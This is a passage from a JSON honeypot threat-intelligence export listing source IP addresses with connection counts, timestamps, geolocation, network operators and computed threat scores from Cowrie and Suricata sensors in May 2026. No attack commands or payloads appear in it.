      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 3
      }
    },
    "103.87.58.184": {
      "attack_count": 2,
      "first_seen": "2026-05-21T20:16:52.542Z",
      "last_seen": "2026-05-21T20:18:52.547Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Jaipur",
      "asn": 133982,
      "as_org": "Excitel Broadband Private Limited",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T20:16:52.542000+00:00",
        "last_seen_30d": "2026-05-21T20:19:53.761000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "106.32.31.91": {
      "attack_count": 2,
      "first_seen": "2026-05-23T02:33:23.614Z",
      "last_seen": "2026-05-23T02:33:37.263Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:33:23.614000+00:00",
        "last_seen_30d": "2026-05-23T02:34:45.767000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.14.184.226": {
      "attack_count": 2,
      "first_seen": "2026-05-11T01:55:33.692Z",
      "last_seen": "2026-05-11T01:55:46.300Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Jinan",
      "asn": 24444,
      "as_org": "Shandong Mobile Communication Company Limited",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T01:55:33.692000+00:00",
        "last_seen_30d": "2026-05-11T01:56:54.856000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.211.68.112": {
      "attack_count": 2,
      "first_seen": "2026-05-16T13:57:50.051Z",
      "last_seen": "2026-05-16T13:58:03.569Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "General Trias",
      "asn": 9299,
      "as_org": "Philippine Long Distance Telephone Company",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T13:57:50.051000+00:00",
        "last_seen_30d": "2026-05-16T13:59:09.376000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.229.183.18": {
      "attack_count": 2,
      "first_seen": "2026-05-06T15:18:11.027Z",
      "last_seen": "2026-05-06T15:18:23.305Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T15:18:11.027000+00:00",
        "last_seen_30d": "2026-05-06T15:19:29.545000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "126.209.50.83": {
      "attack_count": 2,
      "first_seen": "2026-05-02T07:52:38.993Z",
      "last_seen": "2026-05-02T07:52:52.177Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Manila",
      "asn": 135607,
      "as_org": "Infinivan Incorporated",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T07:52:38.993000+00:00",
        "last_seen_30d": "2026-05-02T07:53:55.734000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "152.58.24.160": {
      "attack_count": 2,
      "first_seen": "2026-05-11T02:29:13.632Z",
      "last_seen": "2026-05-11T02:29:27.306Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T02:29:13.632000+00:00",
        "last_seen_30d": "2026-05-11T02:30:34.341000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "152.59.5.46": {
      "attack_count": 2,
      "first_seen": "2026-05-07T11:55:14.998Z",
      "last_seen": "2026-05-07T11:55:28.134Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Vadodara",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T11:55:14.998000+00:00",
        "last_seen_30d": "2026-05-07T11:56:31.382000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "168.90.219.247": {
      "attack_count": 2,
      "first_seen": "2026-05-22T23:10:17.298Z",
      "last_seen": "2026-05-22T23:12:17.300Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Caetit\u00e9",
      "asn": 265296,
      "as_org": "Ellitenet Telecom",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T23:10:17.298000+00:00",
        "last_seen_30d": "2026-05-22T23:23:13.244000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "176.65.139.173": {
      "attack_count": 2,
      "first_seen": "2026-05-17T12:00:03.329Z",
      "last_seen": "2026-05-17T12:00:33.744Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.3,
        "persistence": 3.3,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 4,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-14T22:46:01+00:00",
        "last_seen_30d": "2026-05-17T12:01:35.765000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Honeytrap": 6,
        "Cowrie": 2
      }
    },
    "177.232.85.92": {
      "attack_count": 2,
      "first_seen": "2026-05-24T04:36:35.821Z",
      "last_seen": "2026-05-24T04:38:35.825Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Quer\u00e9taro City",
      "asn": 28536,
      "as_org": "Mexico Red de Telecomunicaciones, S. de R.L. de C.V.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T04:36:35.821000+00:00",
        "last_seen_30d": "2026-05-24T04:39:45.026000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.40.18.83": {
      "attack_count": 2,
      "first_seen": "2026-05-25T09:58:57.999Z",
      "last_seen": "2026-05-25T09:58:58.000Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belo Horizonte",
      "asn": 18881,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T09:58:57.999000+00:00",
        "last_seen_30d": "2026-05-25T10:00:46.742000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "177.75.107.17": {
      "attack_count": 2,
      "first_seen": "2026-05-08T21:34:56.375Z",
      "last_seen": "2026-05-08T21:35:10.405Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Chapec\u00f3",
      "asn": 28146,
      "as_org": "MHNET TELECOM",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T21:34:56.375000+00:00",
        "last_seen_30d": "2026-05-08T21:36:16.866000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.243.11.39": {
      "attack_count": 2,
      "first_seen": "2026-05-19T07:23:39.714Z",
      "last_seen": "2026-05-19T07:23:51.967Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "West Jakarta",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:23:39.714000+00:00",
        "last_seen_30d": "2026-05-19T07:24:55.429000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.147.247.251": {
      "attack_count": 2,
      "first_seen": "2026-05-10T14:35:48.922Z",
      "last_seen": "2026-05-10T14:36:01.024Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T14:35:48.922000+00:00",
        "last_seen_30d": "2026-05-10T14:37:04.653000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.127.127.156": {
      "attack_count": 2,
      "first_seen": "2026-05-10T21:50:05.602Z",
      "last_seen": "2026-05-10T21:50:18.970Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lebanon",
      "country_code": "LB",
      "city": "Sidon",
      "asn": 202987,
      "as_org": "Fiber Networks Services S.A.R.L",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T21:50:05.602000+00:00",
        "last_seen_30d": "2026-05-10T21:51:26.523000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.62.241.64": {
      "attack_count": 2,
      "first_seen": "2026-05-04T11:12:33.178Z",
      "last_seen": "2026-05-04T11:12:45.873Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 262663,
      "as_org": "METROFLEX TELECOMUNICACOES LTDA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T11:12:33.178000+00:00",
        "last_seen_30d": "2026-05-04T11:13:51.718000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "188.72.40.126": {
      "attack_count": 2,
      "first_seen": "2026-05-07T22:33:04.404Z",
      "last_seen": "2026-05-07T22:33:16.568Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": null,
      "asn": 201089,
      "as_org": "Experience Infinity technology Internet Service Company Ltd.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T22:33:04.404000+00:00",
        "last_seen_30d": "2026-05-07T22:34:23.454000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.122.90.124": {
      "attack_count": 2,
      "first_seen": "2026-05-28T20:52:06.951Z",
      "last_seen": "2026-05-28T20:52:20.359Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 271949,
      "as_org": "AX INTERNET SA",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T20:52:06.951000+00:00",
        "last_seen_30d": "2026-05-28T20:53:26.876000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.191.138.18": {
      "attack_count": 2,
      "first_seen": "2026-05-09T18:37:44.264Z",
      "last_seen": "2026-05-09T18:37:56.168Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "La Plata",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T18:37:44.264000+00:00",
        "last_seen_30d": "2026-05-09T18:39:00.386000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.119.230.36": {
      "attack_count": 2,
      "first_seen": "2026-05-24T00:38:51.821Z",
      "last_seen": "2026-05-24T00:40:51.822Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Fes",
      "asn": 36925,
      "as_org": "ASMedi",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T00:38:51.821000+00:00",
        "last_seen_30d": "2026-05-24T00:40:51.822000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.120.60.39": {
      "attack_count": 2,
      "first_seen": "2026-05-14T23:33:13.316Z",
      "last_seen": "2026-05-14T23:35:13.324Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Rabat",
      "asn": 36925,
      "as_org": "ASMedi",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T23:33:13.316000+00:00",
        "last_seen_30d": "2026-05-14T23:45:45.299000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "221.235.196.124": {
      "attack_count": 2,
      "first_seen": "2026-05-23T07:13:32.971Z",
      "last_seen": "2026-05-23T07:14:09.699Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:13:32.971000+00:00",
        "last_seen_30d": "2026-05-23T07:15:19.248000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "223.228.142.188": {
      "attack_count": 2,
      "first_seen": "2026-05-10T16:05:51.308Z",
      "last_seen": "2026-05-10T16:06:05.038Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 45609,
      "as_org": "Bharti Airtel Ltd. AS for GPRS Service",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T16:05:51.308000+00:00",
        "last_seen_30d": "2026-05-10T16:07:11+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.77.53.22": {
      "attack_count": 2,
      "first_seen": "2026-05-03T10:55:44.828Z",
      "last_seen": "2026-05-03T10:55:57.398Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 51020,
      "as_org": "Al-Jazeera Al-Arabiya Company for Communication and Internet LTD",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T10:55:44.828000+00:00",
        "last_seen_30d": "2026-05-03T10:57:02.803000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.199.112.3": {
      "attack_count": 2,
      "first_seen": "2026-05-23T22:30:25.264Z",
      "last_seen": "2026-05-23T22:30:25.286Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 267705,
      "as_org": "ORBIT CABLE, S.A.",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T22:30:25.264000+00:00",
        "last_seen_30d": "2026-05-24T01:57:25.875000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.167.233.27": {
      "attack_count": 2,
      "first_seen": "2026-05-27T17:14:32.641Z",
      "last_seen": "2026-05-27T17:14:45.014Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "C\u00e2ndido Mota",
      "asn": 268066,
      "as_org": "PIONEIRA COMUNICACAO MULTIMIDIA LTDA",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T17:14:32.641000+00:00",
        "last_seen_30d": "2026-05-27T17:15:52.210000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.175.90.118": {
      "attack_count": 2,
      "first_seen": "2026-05-27T21:33:20.541Z",
      "last_seen": "2026-05-27T21:35:20.543Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio Verde",
      "asn": 268892,
      "as_org": "DBS TELECOM EIRELI - ME",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T21:33:20.541000+00:00",
        "last_seen_30d": "2026-05-27T21:46:02.199000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.176.46.48": {
      "attack_count": 2,
      "first_seen": "2026-05-22T01:36:53.764Z",
      "last_seen": "2026-05-22T01:37:06.512Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Bel\u00e9m",
      "asn": 268930,
      "as_org": "Ilhas Net LTDA - ME",
      "threat_score": 12.3,
